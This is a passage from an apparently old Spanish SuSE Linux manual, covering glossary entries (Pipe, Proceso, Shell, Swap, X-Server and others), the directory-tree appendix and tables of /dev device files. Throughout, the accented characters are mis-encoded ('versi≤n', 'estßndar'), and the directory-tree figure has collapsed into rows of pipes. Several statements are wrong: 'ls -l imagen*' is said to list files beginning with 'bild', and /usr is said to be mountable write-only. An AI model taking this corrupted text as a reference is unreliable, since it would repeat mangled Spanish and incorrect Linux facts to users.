  32269.                                  ochenta se entiende bajo este tΘrmino la computadora peque±a de IBM ,
  32270.  
  32271.  
  32272. 504
  32273.      _________________________________________________________________________________________________________________B.__Glosario_*
  32274.  *____________________
  32275.  
  32276.  
  32277.  
  32278.     basada en una CPU del tipo x86/88 de Intel, aunque la primera computa-
  32279.     dora de este estilo era una Apple .
  32280.  
  32281. Permiso de entrada (ingl. account)
  32282.     El conjunto del nombre de usuario y de la contrase±a (ingl. password) for-
  32283.     ma el permiso de entrada.  Normalmente es el administrador de sistema
  32284.     quien  establece  el  permiso  de  entrada  al  sistema.   Seg·n  este  permiso,
  32285.     el usuario estß asignado a un determinado grupo de usuarios con ciertos
  32286.     derechos  en  la  computadora.   La  configuraci≤n  del  permiso  de  entrada
  32287.     incluye normalmente la creaci≤n de un +  Directorio de usuario y la asig-
  32288.     naci≤n de una direcci≤n de +  E-Mail.
  32289.  
  32290. Pipe
  32291.     Pipe  se  refiere  a  la  conexi≤n  directa  del  canal  de  salida  estßndar  de  un
  32292.     Proceso  (+  Programa)  al  Canal  de  entrada  estßndar  (+  Salida/entrada
  32293.     estßndar) del proceso siguiente.  De este modo no hace falta almacenar
  32294.     temporalmente los datos que se pasan al siguiente proceso. En la lφnea de
  32295.     comandos de la +  Shell, los procesos que estßn conectados por un Pipe se
  32296.     apuntan seg·n el orden de proceso, separando el uno del otro mediante el
  32297.     sφmbolo Pipe `|' (ASCII 124).
  32298.  
  32299. Proc filesystem
  32300.     +  Sistema de ficheros ''Proc''
  32301.  
  32302. Procesador
  32303.     +  CPU.
  32304.  
  32305. Proceso (ingl. process)
  32306.     Un  proceso  es  prßcticamente  un  programa  o  un  fichero  ejecutable  ''en
  32307.     vivo'' (+  Shell).  En lugar de proceso se usa tambiΘn el tΘrmino ''tarea''
  32308.     (ingl. task).
  32309.  
  32310. Proceso subordinado (ingl. background process)
  32311.     Cuando la +   Shell trabaja aparentemente con un solo proceso y no per-
  32312.     mite introducir comandos adicionales, se habla de un proceso que trabaja
  32313.     en ''primer plano''.  Aparte de esto existe para la mayorφa de las shells la
  32314.     posibilidad de ejecutar procesos en segundo plano como proceso subor-
  32315.     dinado.
  32316.     Para  iniciar  un  proceso  en  segundo  plano,  se  debe  finalizar  la  lφnea  de
  32317.     comando con la que se inicia el programa con el sφmbolo `&'.  Para que
  32318.     los  procesos  se  puedan  llevar  a  cabo  en  segundo  plano  se  necesita  un
  32319.     sistema operativo con capacidad de +  Multitarea.
  32320.  
  32321. Programa
  32322.     Cualquier serie de instrucciones l≤gicas que entiende una computadora,
  32323.     se  considera  como  un  programa.   Estas  instrucciones  pueden  existir  en
  32324.     forma de c≤digo ejecutable o como instrucciones para un interpretador.
  32325.     En  Linux  tales  ficheros  se  identifican  por  el  x-bit  de  los  derechos  de
  32326.     fichero, lo reconoce el kernel y puede ejecutar asφ los programas.
  32327.  
  32328. Prompt
  32329.     +  Sφmbolo de entrada.
  32330.  
  32331. Protocolo (ingl. protocol)
  32332.     Los protocolos regulan la comunicaci≤n de computadoras en +  Redes al
  32333.  
  32334.  
  32335.                                                                                                                                    *
  32336.  * 505
  32337. B.  Glosario      _________________________________________________________________________________________________________________*
  32338.  *_______________________________________@
  32339.  
  32340.  
  32341.  
  32342.                                  nivel de software y de hardware, determinando la apariencia de los datos
  32343.                                  a transferir, los intervalos en los que una computadora tiene permiso de
  32344.                                  transferir datos,  cußl computadora controla una conexi≤n,  etc.  Algunos
  32345.                                  protocolos muy conocidos son p. ej.  FTP, UDP, TCP, HTTP, etc.
  32346.  
  32347.                              Puerto
  32348.                                  +  Interfaz
  32349.  
  32350.                              Punto de anclaje
  32351.                                  El punto de anclaje es el directorio que sirve como referencia para incor-
  32352.                                  porar una partici≤n o un directorio en el ßrbol de directorios de Linux.
  32353.  
  32354.                              RAM (ingl. Random Access Memory)
  32355.                                  +  Memoria fφsica de capacidad limitada, que se puede acceder en modo
  32356.                                  de escritura y lectura con una velocidad relativamente alta.
  32357.  
  32358.                              Rama (ingl. path)
  32359.                                  Mediante la rama se indica exactamente la posici≤n de un +   Fichero en
  32360.                                  un +  Sistema de ficheros.  En Unix, los distintos niveles de directorios se
  32361.                                  separan  con  el  sφmbolo  `/'  (ingl.  slash).  Hay  que  distinguir  entre  dos
  32362.                                  diferentes tipos de ramas:
  32363.  
  32364.                                  o   Rama relativa:  la posici≤n de un fichero o de un directorio se indica
  32365.                                      con el directorio ''actual'' como punto de referencia.
  32366.  
  32367.                                  o   Rama absoluta: la posici≤n indicada es relativa al +  Directorio raφz.
  32368.  
  32369.                              Red (ingl. net, network)
  32370.                                  La red es el conjunto de varias computadoras interconectadas. Hay difer-
  32371.                                  entes  estructuras  de  redes  que  se  distinguen  por  la  forma  en  la  que  se
  32372.                                  conectan las computadoras. Estas pueden ser: Anillo, estrella, bus, ßrbol,
  32373.                                  etc.  Algunos estßndares muy conocidos son p. ej.  Ethernet, Token-Ring
  32374.                                  o RDSI. En cuanto a los protocolos se usa en los distintos niveles p. ej.
  32375.                                  TCP, UDP, IPX, etc.
  32376.  
  32377.                              Resetear (ingl. reset)
  32378.                                  Cuando la computadora deja de responder, se encuentra muchas veces en
  32379.                                  un bucle infinito.  La ·nica soluci≤n para esto es regresar la computadora
  32380.                                  a un estado inicial definido.  A este proceso se le llama ''resetear'' (ingl.
  32381.                                  reset).  DespuΘs de un ''Reset'', la computadora se encuentra en el mismo
  32382.                                  estado que tiene cuando se acaba de encender.  Es preferible resetear la
  32383.                                  computadora y no apagar y encender, ya que el sencillo ''Reset'' perjudica
  32384.                                  menos los componentes mecßnicos y elΘctricos.
  32385.                                  IMPORTANTE: íAl resetear la computadora, todos los datos que se en-
  32386.                                  cuentran en la +  Memoria se pierden!
  32387.  
  32388.                              Rlogin (ingl. remote login)
  32389.                                  Mediante un remote login se puede entrar vφa Internet a una computadora
  32390.                                  en  otro  lugar  tal  como  si  se  estuviera  sentado  al  lado  de  la  misma.   Si
  32391.                                  en ambas mßquinas corre un +  X-Server existe incluso la posibilidad de
  32392.                                  redirigir aplicaciones del sistema X Window a la pantalla local, definiendo
  32393.                                  correctamente la variable DISPLAY del entorno remoto.
  32394.  
  32395.                              ROM (ingl. Read-only Memory)
  32396.                                  Memoria de solo-lectura como p. ej.  un Compact Disc (CD).
  32397.  
  32398.  
  32399. 506
  32400.      _________________________________________________________________________________________________________________B.__Glosario_*
  32401.  *____________________
  32402.  
  32403.  
  32404.  
  32405. Root
  32406.     +  Administrador de sistema.
  32407.  
  32408. RPM  (rpm   )
  32409.     Desde la versi≤n 5.0 de SuSE     Linux el programa RPM  (rpm   ) (ingl. RPM
  32410.     Package  Manager)  es  el  gestor  de  paquetes  por  defecto.   rpm    permite
  32411.     instalar y desinstalar paquetes de software; ademßs se pueden direccionar
  32412.     consultas al banco de datos de RPM.
  32413.  
  32414. Runlevel
  32415.     TΘrmino usual en Unix para definir el nivel de servicio que el sistema ha
  32416.     alcanzado despuΘs del arranque o hasta el cual se debe retroceder (p. ej.
  32417.     para mantenimiento). El programa init  se encarga del cambio de nivel de
  32418.     servicio. En el fichero de configuraci≤n de init  hay una serie de servicios
  32419.     asignados a cada nivel de ejecuci≤n.  El nivel mßs bajo (Runlevel 1) solo
  32420.     permite usar el sistema con un ·nico usuario, mientras que en el Runlev-
  32421.     el 2 varios usuarios pueden acceder al sistema.
  32422.  
  32423. Salida/Entrada estßndar (ingl. standard input / output)
  32424.     Cada proceso posee 3 canales para leer o escribir datos; estos son el canal
  32425.     de entrada estßndar (stdin), el canal de salida estßndar (stdout) y el canal
  32426.     estßndar de errores (stderr). Estos canales estßn por defecto direccionados
  32427.     a  ciertos  dispositivos;  en  concreto,  la  entrada  estßndar  hacia  el  teclado
  32428.     y  la  salida  estßndar  al  igual  que  el  canal  de  errores,  hacia  la  pantalla.
  32429.     Usando  la  shell  es  posible  redireccionar  los  canales.   Por  ejemplo,  se
  32430.     puede redireccionar la entrada estßndar de tal modo, que las letras no se
  32431.     lean desde el teclado sino p. ej.  desde un fichero. El redireccionamiento se
  32432.     simboliza en la shell anteponiendo los sφmbolos `<' (Canal de entrada),
  32433.     `>'  (Canal  de  salida)  y  `2>'  (Canal  de  error).   Consultar  tambiΘn  +
  32434.     Pipe.
  32435.  
  32436. Selecci≤n
  32437.     La  selecci≤n  es  un  mecanismo  del  servidor  X.  Es  posible  marcar  texto
  32438.     con el mouse (apretar el bot≤n izquierdo del mouse y pasar por encima
  32439.     del texto a seleccionar) y usarlo en otra aplicaci≤n, pasando con el cur-
  32440.     sor a otro ventana y apretando allφ el bot≤n del medio.  Este proceso se
  32441.     denomina Cortar & Pegar (Cut & Paste).
  32442.  
  32443. Servidor
  32444.     Un  servidor  es  generalmente  una  computadora  muy  potente  que  ofrece
  32445.     datos  y  servicios  a  las  computadoras  clientes  a  travΘs  de  una  +  Red.
  32446.     Aparte de las computadoras que act·an como servidores existen progra-
  32447.     mas  que  tambiΘn  se  denominan  servidores,  ya  que  igualmente  prestan
  32448.     servicios y se ejecutan continuamente.  Un ejemplo para un servidor tipo
  32449.     software es el +  X-Server.
  32450.  
  32451. Shell
  32452.     La Shell representa la interfaz bßsica hacia el +  Sistema operativo (ker-
  32453.     nel).  Gracias a la shell se pueden introducir comandos en la lφnea de co-
  32454.     mandos. Para automatizar ciertas tareas, las shells incorporan un lenguaje
  32455.     propio  de  programaci≤n.  Estos  programas,  denominados  ''scripts'',  son
  32456.     una  especie  de  ''batch-file''  inteligente.   Algunas  Shells  conocidas  son
  32457.     bash , sh  y tcsh .
  32458.  
  32459.  
  32460.                                                                                                                                    *
  32461.  * 507
  32462. B.  Glosario      _________________________________________________________________________________________________________________*
  32463.  *_______________________________________@
  32464.  
  32465.  
  32466.  
  32467.                              Sφmbolo de entrada (ingl. prompt)
  32468.                                  El sφmbolo de entrada en una +  Shell marca el sitio en el que se pueden
  32469.                                  introducir  los  comandos  del  +  Sistema  operativo.   Este  sφmbolo  puede
  32470.                                  reflejar p. ej.  el nombre de la computadora y del usuario, la hora actual u
  32471.                                  otras indicaciones.  El +  Cursor se encuentra por lo general directamente
  32472.                                  detrßs del sφmbolo de entrada.  Cuando el sφmbolo reaparece despuΘs de
  32473.                                  haberse introducido un comando, el sistema estß otra vez en capacidad de
  32474.                                  recibir nuevos comandos.
  32475.  
  32476.                              Sistema de ficheros (ingl. filesystem)
  32477.                                  El sistema de ficheros es un sistema para ordenar ficheros.  Hay muchos
  32478.                                  sistemas de ficheros cuyas prestaciones difieren bastante.  Determinados
  32479.                                  sistemas de ficheros son obligatorios para un determinado medio de al-
  32480.                                  macenamiento, por lo que no se puede precisar quΘ sistemas de ficheros
  32481.                                  usa Linux.
  32482.  
  32483.                              Sistema de ficheros ''Proc''
  32484.                                  En comparaci≤n a un sistema de ficheros de una unidad de almacenamien-
  32485.                                  to, el sistema de ficheros /proc no contiene datos estßticos, sino que los
  32486.                                  genera  dinßmicamente  con  informaciones  del  kernel.   Se  usa  sobre  to-
  32487.                                  do para proporcionar a las utilidades del sistema (p. ej.  ps , mount ) datos
  32488.                                  actuales del kernel o para modificar parßmetros del kernel en tiempo de
  32489.                                  ejecuci≤n.
  32490.  
  32491.                              Sistema operativo (ingl. operating system)
  32492.                                  El  sistema  operativo  es  un  programa  que  se  ejecuta  continuamente  en
  32493.                                  segundo plano y forma la base para poder usar la computadora. El sistema
  32494.                                  operativo se encarga de administrar todos los recursos disponibles de la
  32495.                                  computadora.   En  Linux  lo  llevan  a  cabo  el  +  Kernel,  los  m≤dulos  del
  32496.                                  kernel  y  otras  utilidades  sin  las  que  el  kernel  resultarφa  ''in·til''.   En  el
  32497.                                  caso de SuSE     Linux se considera que toda la serie a (Linux base system),
  32498.                                  las  herramientas  de  sistema  y  los  ''daemons''  forman  juntos  el  sistema
  32499.                                  operativo. Algunos sistemas operativos conocidos son AmigaOS , Linux ,
  32500.                                  MacOS , OS/2 , Unix , Windows NT , etc.
  32501.  
  32502.                              Sistema X Window
  32503.                                  +  X Window System
  32504.  
  32505.                              SMP (ingl. Symmetric Multi Processing)
  32506.                                  +  Multiprocesador.
  32507.  
  32508.                              Swap
  32509.                                  Es la zona de memoria virtual en el disco duro,  que sirve para albergar
  32510.                                  temporalmente  ''pßginas''  de  memoria  RAM  (ver  +  RAM).  Para  ello  se
  32511.                                  puede usar bajo Linux una partici≤n especial o un fichero.  La suma de
  32512.                                  la  memoria  fφsica  RAM  con  la  memoria  disponible  de  swap,  equivale
  32513.                                  aproximadamente al tama±o mßximo de memoria virtual disponible.
  32514.  
  32515.                              Tarea
  32516.                                  +  Proceso.
  32517.  
  32518.                              Telnet
  32519.                                  Telnet es el comando y el protocolo para comunicarse con otras computa-
  32520.                                  doras que se convierten asφ en anfitriones (ingl. hosts).
  32521.  
  32522.  
  32523. 508
  32524.      _________________________________________________________________________________________________________________B.__Glosario_*
  32525.  *____________________
  32526.  
  32527.  
  32528.  
  32529. Terminal (ingl. terminal)
  32530.     Es  la  combinaci≤n  de  monitor  y  teclado  conectada  a  un  sistema  mul-
  32531.     tiusuario  sin  capacidad  propia  de  cßlculo.   En  el  caso  de  estaciones  de
  32532.     trabajo se usa el tΘrmino tambiΘn para hablar de programas que emulan
  32533.     un terminal real.
  32534.  
  32535. UMSDOS
  32536.     Sistema  de  ficheros  especial  (de  Linux)  que  permite  gestionar  ficheros
  32537.     dentro de una partici≤n MSDOS normal, con todos las caracterφsticas de
  32538.     Unix (nombres de fichero largos y derechos de ficheros).  Es mßs lento
  32539.     que el sistema de ficheros ''correcto'' EXT2, pero en cambio es ·til para
  32540.     hacer demostraciones, ya que no se necesita ninguna partici≤n adicional
  32541.     (cuando ya existe una de MSDOS).
  32542.  
  32543. UNIX
  32544.     Es un sistema operativo especialmente extendido en estaciones de trabajo.
  32545.     Unix soporta caracterφsticas importantes como p. ej.   el uso de computa-
  32546.     doras  en  red  y  estß  compuesto  por  un  n·cleo,  una  +  Shell,  un  kernel  y
  32547.     muchas utilidades.  Desde el comienzo de los 90 existe una versi≤n libre
  32548.     (freeware) para +  PCs bajo el nombre Linux.
  32549.  
  32550. URL
  32551.     Uniform Resource Locator: Sistema unificado de identificaci≤n de recur-
  32552.     sos en la red. Las direcciones se componen del protocolo y de la direcci≤n
  32553.     local del documento dentro del servidor. Las direcciones permiten identi-
  32554.     ficar objetos como WWW, FTP, Gopher, etc.
  32555.  
  32556. Variable de entorno (ingl. environment variable)
  32557.     Un  lugar  en  el  +  Entorno  total  de  la  +  Shell.  Cada  variable  de  entorno
  32558.     tiene un nombre ·nico que se indica normalmente en may·sculas. A estas
  32559.     variables se les asigna valores, p. ej.  alguna rama (ingl. path).  En el caso
  32560.     de la shell ''bash'' funciona de la siguiente manera:
  32561.  
  32562.     root@tierra:/  >  export  EDITOR=emacs
  32563.  
  32564.     Para conocer las variables actualmente usadas se puede usar el comando
  32565.     env   .  RefiriΘndose a una variable de entorno dentro de una Shell-script,
  32566.     hay que anteponer el sφmbolo $ al nombre de la variable.  Algunas vari-
  32567.     ables importantes son HOME (contiene la rama del directorio de usuario),
  32568.     SHELL (rama programa de shell) USER (nombre de usuario), PATH (rama
  32569.     de b·squeda para ejecutables), MANPATH (rama de b·squeda de las Man-
  32570.     pages).
  32571.  
  32572. Ventana (ingl. window)
  32573.     Las ventanas son sectores cuadrados de una pantalla, generalmente dentro
  32574.     de un marco. Este marco proporciona generalmente elementos para mod-
  32575.     ificar la posici≤n y el tama±o de la ventana en la pantalla. Un +  X-Server
  32576.     tal como un +   Gestor de ventanas deben estar en ejecuci≤n para que se
  32577.     pueda trabajar con ventanas bajo Linux.
  32578.  
  32579. WAN (ingl. wide area network)
  32580.     En comparaci≤n a una +  LAN se trata de una +  Red con gran extensi≤n
  32581.     geogrßfica.
  32582.  
  32583.  
  32584.                                                                                                                                    *
  32585.  * 509
  32586. B.  Glosario      _________________________________________________________________________________________________________________*
  32587.  *_______________________________________@
  32588.  
  32589.  
  32590.  
  32591.                              Wildcards
  32592.                                  Los  sφmbolos  `*'  y  `?'  son  sφmbolos  genΘricos  y  se  denominan  ''co-
  32593.                                  modines''  o  en  inglΘs  ''wildcards''.    El  sφmbolo  `?'    reemplaza  ex-
  32594.                                  actamente  una  letra  cualquiera,  mientras  que  `*'  reemplaza  cualquier
  32595.                                  cantidad  de  letras  como  tambiΘn  puede  no  reemplazar  a  ninguna.   Los
  32596.                                  comodines  se  usan  en  expresiones  regulares.   Por  ejemplo  el  coman-
  32597.                                  do  ls  -l  imagen*           indica  todos  los  ficheros  del  directorio  actual  que
  32598.                                  comienzan con bild.
  32599.  
  32600.                              X-Server
  32601.                                  Las computadoras que ejecutan un servidor X pueden usar servicios del +
  32602.                                  Entorno grßfico de usuario +  X Window System. Una tarea importante del
  32603.                                  servidor X es la administraci≤n de las pantallas (displays); normalmente
  32604.                                  cada terminal tiene exactamente un display. El nombre de cada display es-
  32605.                                  tß determinado por la +  Variable de entorno DISPLAY. Esta tiene el sigu-
  32606.                                  iente formato:
  32607.                                  <Nombre`computadora>:<N·mero`display>;   p. ej.   tierra:0       .     El
  32608.                                  conocimiento  del  nombre  correcto  del  Display  es  importante  para  el  +
  32609.                                  Rlogin.
  32610.  
  32611.                              X Window System
  32612.                                  Es una colecci≤n de programas, protocolos y rutinas para administrar un
  32613.                                  +  Entorno  grßfico  de  usuario.   El  sistema  X  Window  (abreviado  ''X'')
  32614.                                  se  desarroll≤  dentro  del  ßmbito  del  proyecto  Athena  en  el  MIT  (Mas-
  32615.                                  sachusetts Institute of Technology).  Las grandes ventajas de X frente a
  32616.                                  los demßs sistemas (p. ej.  MS Windows o GEM) son la capacidad de tra-
  32617.                                  bajar en red y la flexibilidad. Esta flexibilidad permite p. ej.  que un usuario
  32618.                                  ejecute programas en otra computadora pero las visualice en su monitor,
  32619.                                  con la posibilidad de definir libremente el aspecto y el comportamiento
  32620.                                  de la superficie grßfica.
  32621.                                  Observaci≤n: El sistema de ventanas no se llama ''X-Windows'' sino real
  32622.                                  y correctamente X Window System.
  32623.  
  32624.  
  32625. 510
  32626.  
  32627.                                                                                                       ApΘndice  C
  32628.                                                     El   ßrbol   de   directorios
  32629.  
  32630.  
  32631.  
  32632. C.1        Vista general
  32633.  
  32634. La siguiente imagen muestra un peque±o extracto del ßrbol de directorios de
  32635. un sistema|Linux.|                                                                                                                 *
  32636.  *                       |
  32637.        ____________________________________________________________________________________________________________________________*
  32638.  *______________________||||
  32639.        ||||||||                                                                                                                    *
  32640.  *                       |
  32641.        ||||||||                                                                                                                    *
  32642.  *                       |
  32643.        ||||||||                                                                                                                    *
  32644.  *                       |
  32645.        ||||||||                                                                                                                    *
  32646.  *                       |
  32647.        ||||||||                                                                                                                    *
  32648.  *                       |
  32649.        ||||||||                                                                                                                    *
  32650.  *                       |
  32651.        ||||||||                                                                                                                    *
  32652.  *                       |
  32653.        ||||||||                                                                                                                    *
  32654.  *                       |
  32655.        ||||||||                                                                                                                    *
  32656.  *                       |
  32657.        ||||||||                                                                                                                    *
  32658.  *                       |
  32659.        ||||||||                                                                                                                    *
  32660.  *                       |
  32661.        ||||||||                                                                                                                    *
  32662.  *                       |
  32663.        ||||||||                                                                                                                    *
  32664.  *                       |
  32665.        ||||||||                                                                                                                    *
  32666.  *                       |
  32667.        ||||||||                                                                                                                    *
  32668.  *                       |
  32669.        ||||||||                                                                                                                    *
  32670.  *                       |
  32671.        ||||||||                                                                                                                    *
  32672.  *                       |
  32673.        ||||||||                                                                                                                    *
  32674.  *                       |
  32675.        ||||||||                                                                                                                    *
  32676.  *                       |
  32677.        ||||||||                                                                                                                    *
  32678.  *                       |
  32679.        ||||||||                                                                                                                    *
  32680.  *                       |
  32681.        ||||||||                                                                                                                    *
  32682.  *                       |
  32683.        ||||||||                                                                                                                    *
  32684.  *                       |
  32685.        ||||||||                                                                                                                    *
  32686.  *                       |
  32687.        ||||||||                                                                                                                    *
  32688.  *                       |
  32689.        ||||||||                                                                                                                    *
  32690.  *                       |
  32691.        ||||||||                                                                                                                    *
  32692.  *                       |
  32693.        ||||||||                                                                                                                    *
  32694.  *                       |
  32695.        ||||||||                                                                                                                    *
  32696.  *                       |
  32697.        ||||||||____________________________________________________________________________________________________________________*
  32698.  *______________________ |
  32699.                                                                                                                                    *
  32700.  *   511
  32701. C.  El ßrbol de directorios________________________________________________________________________________________________________*
  32702.  *_______________________________________@
  32703.  
  32704.  
  32705.  
  32706.                            C.2        Directorios importantes
  32707.                            El  ßrbol  de  directorios  del  sistema  SuSE     Linux  estß  estructurado  seg·n  el
  32708.  
  32709.                            estßndar de sistemas de ficheros. Los directorios importantes se describen en
  32710.                            la tabla C.1.
  32711.                            ________________________________________________________________________________________________________*
  32712.  *________
  32713.  
  32714.  
  32715.                               /                                  el  directorio  raφz  (ingl.  root  directory),  es  el
  32716.                                                                  comienzo del ßrbol de directorios
  32717.                               /home                              los directorios (privados) de los usuarios
  32718.                               /dev                               ficheros  de  dispositivos  (ingl.  device  files)  que
  32719.                                                                  representan componentes de hardware
  32720.                               /etc                               ficheros  importantes  de  configuraci≤n  del  sis-
  32721.                                                                  tema
  32722.                               /usr/bin                           comandos p·blicos
  32723.                               /bin                               comandos  que  se  necesitan  durante  el  arranque
  32724.                                                                  del sistema
  32725.                               /usr/sbin                          comandos  reservados  para  el  administrador  de
  32726.                                                                  sistema (superusuario)
  32727.                               /sbin                              comandos  reservados  para  el  administrador  de
  32728.                                                                  sistema y necesarios durante el arranque del sis-
  32729.                                                                  tema
  32730.                               /sbin/init.d                       scripts de arranque
  32731.                               /usr/include                       Ficheros de encabezamiento para el compilador
  32732.                                                                  de C
  32733.                               /usr/include/g++                   Ficheros de encabezamiento para el compilador
  32734.                                                                  de C++
  32735.                               /usr/doc                           diferentes ficheros de documentaci≤n
  32736.                               /usr/man                           la ayuda en lφnea (manual-pages)
  32737.                               /usr/src                           fuentes del software del sistema
  32738.                               /usr/src/linux                     las fuentes del kernel
  32739.                               /tmp                               para ficheros temporales
  32740.                               /var/tmp                           para ficheros temporales grandes
  32741.                               /usr                               contiene todas las aplicaciones y se puede montar
  32742.                                                                  en modo de solo escritura
  32743.                               /var                               ficheros de configuraci≤n (p. ej.  enlazados desde
  32744.                                                                  /usr)
  32745.                               /var/log                           ficheros de registro
  32746.                               /var/adm                           administraci≤n del sistema
  32747.                               /lib                               librerφas compartidas (para programas dinßmica-
  32748.                                                                  mente enlazados)
  32749.                               /proc                              el sistema de ficheros de los procesos
  32750.                               /usr/local                         ficheros  locales,  independientes  de  la  distribu-
  32751.                                                                  ci≤n SuSE     Linux
  32752.                               /opt                               software opcional, paquetes grandes (p. ej.  KDE)
  32753.  
  32754.                            ________________________________________________________________________________________________________*
  32755.  *________
  32756.  
  32757.                                               Tabla C.1: Resumen de los directorios importantes
  32758.  
  32759. 512
  32760.  
  32761.                                                                                                       ApΘndice  D
  32762.                                                          Ficheros   importantes
  32763.  
  32764.  
  32765. El fichero mßs importante del sistema es el n·cleo del sistema operativo que
  32766. se  encuentra  desde  la  versi≤n  6.0  de  SuSE     Linux  en  el  directorio   /boot/
  32767. vmlinuz   .
  32768.  
  32769.  
  32770.  
  32771. D.1        Ficheros de dispositivos en el directorio /dev
  32772.  
  32773. Disqueteras y discos duros:1
  32774.  
  32775.        ______________________________________________________________________________________________________________________
  32776.  
  32777.    /dev/fd0                                    primera disquetera
  32778.    /dev/fd1                                    segunda disquetera
  32779.    /dev/hda                                    primer disco duro (E)IDE
  32780.    /dev/hda1 - /dev/hda15                      las   particiones   del   primer   disco   duro
  32781.                                                (E)IDE
  32782.    /dev/sda                                    primer disco duro SCSI
  32783.    /dev/sda1 - /dev/sda15                      las particiones del primer disco duro SCSI
  32784.    /dev/sdb                                    segundo disco duro SCSI
  32785.    /dev/sdc                                    tercer disco duro SCSI
  32786.  
  32787.        ______________________________________________________________________________________________________________________
  32788.  
  32789.     Tabla  D.1:  Resumen  de  los  ficheros  de  dispositivo  para  discos  y  dis-
  32790.     queteras
  32791.  
  32792. D.1.1       Lectores CD-ROM
  32793.  
  32794.        ______________________________________________________________________________________________________________________
  32795.  
  32796.    /dev/cdrom                  Enlace que apunta al lector CD-ROM usado, o sea, a
  32797.                                uno de los ficheros que figuran a continuaci≤n (YaST
  32798.                                genera el enlace)
  32799.    /dev/aztcd                  Aztech CDA268-01 CD-ROM
  32800.  
  32801.        ______________________________________________________________________________________________________________________
  32802.  
  32803.        ________________Tabla_D.2:_Contin·a_en_la_pßgina_siguiente_...
  32804. 1  Aparte de los ficheros de dispositivos existentes se pueden generar otros adicionales.  Para
  32805. mayor informaci≤n ver la Manpage de mknod .
  32806.  
  32807.  
  32808.                                                                                                                                    *
  32809.  *   513
  32810. D.  Ficheros importantes___________________________________________________________________________________________________________*
  32811.  *_______________________________________@
  32812.  
  32813.                             _______________________________________________________________________________________________________*
  32814.  *_________
  32815.  
  32816.  
  32817.                               /dev/cdu535                Sony CDU-535 CD-ROM
  32818.                               /dev/cm206cd               Philips CM206
  32819.                               /dev/gscd0                 Goldstar R420 CD-ROM
  32820.                               /dev/hda
  32821.                               hasta                      ATAPI CD-ROM
  32822.                               /dev/hdd
  32823.                               /dev/lmscd                 Philips CM 205/250/206/260 CD-ROM
  32824.                               /dev/mcd                   Mitsumi CD-ROM
  32825.                               /dev/sbpcd0
  32826.                               hasta                      CD-ROM conectado a Soundblaster
  32827.                               /dev/sbpcd3
  32828.                               /dev/scd0                  lectores CD-ROM tipo SCSI
  32829.                               /dev/scd1
  32830.                               y siguientes
  32831.                               /dev/sonycd                Sony CDU 31a CD-ROM
  32832.                               /dev/sjcd                  Sanyo CD-ROM
  32833.                               /dev/optcd                 Optics Storage CD-ROM
  32834.  
  32835.                             _______________________________________________________________________________________________________*
  32836.  *_________
  32837.  
  32838.                               Tabla D.2:  Resumen sobre los ficheros de dispositivos de lectores CD-
  32839.                               ROM
  32840.                            D.1.2       Unidades de cinta/Streamer
  32841.  
  32842.                             _______________________________________________________________________________________________________*
  32843.  *_________
  32844.  
  32845.                               /dev/rmt0                 1.   SCSI-Streamer  ''rewinding''  (rebobina  automßtica-
  32846.                                                         mente)
  32847.                               /dev/nrmt0                1. SCSI-Streamer ''non rewinding''
  32848.                               /dev/ftape                Floppy-Streamer   ''rewinding''   (rebobina   automßtica-
  32849.                                                         mente)
  32850.                               /dev/nftape               Floppy-Streamer ''non rewinding''
  32851.  
  32852.                             _______________________________________________________________________________________________________*
  32853.  *_________
  32854.  
  32855.                                  Tabla D.3: Resumen de los ficheros de dispositivo de cintas/Streamer
  32856.                            D.1.3       Mouse (Bus y PS/2)
  32857.  
  32858.                             _______________________________________________________________________________________________________*
  32859.  *_________
  32860.  
  32861.                               /dev/mouse                   Enlace que apunta a la interfaz usada por el mouse,
  32862.                                                            o  sea,  a  uno  de  los  siguiente  pseudo-ficheros  (para
  32863.                                                            bus-mouse) o a un puerto serie (para mouse de puerto
  32864.                                                            serie). YaST  establece el enlace.
  32865.  
  32866.                             _______________________________________________________________________________________________________*
  32867.  *_________
  32868.  
  32869.                                                   Tabla D.4: Contin·a en la pßgina siguiente ...
  32870.  
  32871.  
  32872. 514
  32873.        ______________________________________________________D.1.__Ficheros_de_dispositivos_en_el_directorio_/dev__________________*
  32874.  *______________________
  32875.  
  32876.        ______________________________________________________________________________________________________________________
  32877.  
  32878.  
  32879.    /dev/atibm                    bus-mouse de la tarjeta de vφdeo ATI.
  32880.    /dev/logibm                   Logitech bus-mouse.
  32881.    /dev/psaux                    PS/2-mouse.
  32882.    /dev/inportbm                 PS/2-bus-mouse (Microsoft Inport bus-mouse).
  32883.    /dev/sunmouse                 SUN mouse.
  32884.  
  32885.        ______________________________________________________________________________________________________________________
  32886.  
  32887.            Tabla D.4: Resumen de los ficheros de dispositivo para mouse
  32888. D.1.4       Modem
  32889.  
  32890.        ______________________________________________________________________________________________________________________
  32891.  
  32892.    /dev/modem              Enlace  al  puerto  COM  al  cual  se  conecta  el  modem
  32893.                            (YaST  genera el enlace)
  32894.  
  32895.        ______________________________________________________________________________________________________________________
  32896.  
  32897.                       Tabla D.5: Fichero de dispositivo para modem
  32898. D.1.5       Puertos serie
  32899.  
  32900.        ______________________________________________________________________________________________________________________
  32901.  
  32902.    /dev/ttyS0              puertos serie de 0 hasta 3
  32903.    hasta                   (COM1 hasta COM4)
  32904.    /dev/ttyS3              adicionales hasta ttyS63
  32905.    /dev/cua0               desde la versi≤n 2.2.x del kernel estos puertos
  32906.    /dev/cua3               serie son obsoletos
  32907.    y mßs                   obsoleto desde kernel 2.2.x
  32908.  
  32909.        ______________________________________________________________________________________________________________________
  32910.  
  32911.                   Tabla D.6: Ficheros de dispositivo para puertos serie
  32912. D.1.6       Puertos paralelos
  32913.  
  32914.        ______________________________________________________________________________________________________________________
  32915.  
  32916.    /dev/lp0
  32917.    hasta               puertos paralelos (LPT1 hasta LPT3)
  32918.    /dev/lp2
  32919.  
  32920.        ______________________________________________________________________________________________________________________
  32921.  
  32922.     Tabla D.7: Ficheros de dispositivo para impresoras en el puerto paralelo
  32923.                                                                                                                                    *
  32924.  *   515
  32925. D.  Ficheros importantes___________________________________________________________________________________________________________*
  32926.  *_______________________________________@
  32927.  
  32928.  
  32929.  
  32930.                            D.1.7       Dispositivos especiales
  32931.                             _______________________________________________________________________________________________________*
  32932.  *_________
  32933.  
  32934.  
  32935.                               /dev/null             absorbe todos los datos (papelera de datos)
  32936.                               /dev/tty1
  32937.                               hasta                 consolas virtuales
  32938.                               /dev/tty8
  32939.                               /dev/zero             genera todos los bytes de cero que se deseen
  32940.  
  32941.                             _______________________________________________________________________________________________________*
  32942.  *_________
  32943.  
  32944.                                Tabla D.8: Ficheros de dispositivo para dispositivos virtuales/especiales
